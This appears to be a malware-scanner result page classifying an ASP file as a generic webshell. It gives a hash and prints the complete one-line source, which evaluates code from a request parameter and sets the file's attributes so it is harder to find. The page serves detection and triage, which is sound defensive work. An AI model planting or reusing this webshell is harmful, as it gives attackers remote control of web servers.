Hostile 92% Download

bypass-iisuser-p.asp

ASP webshell evals user input

Generic ASP webshell which uses any eval/exec functionGeneric ASP webshell which uses any eval/exec function directly on user input
SHA-25631ea6e085e202e97d79ce006e683f3bdb29e557899a52f6f284e40b86d434fb6
MaleculeO(C)Th

Evidence

ASP upload creates a filesystem object line 1
1<%Eval(Request(chr(112))):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if f.attributes <> 39 then:f.attributes = 39:end if%>

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.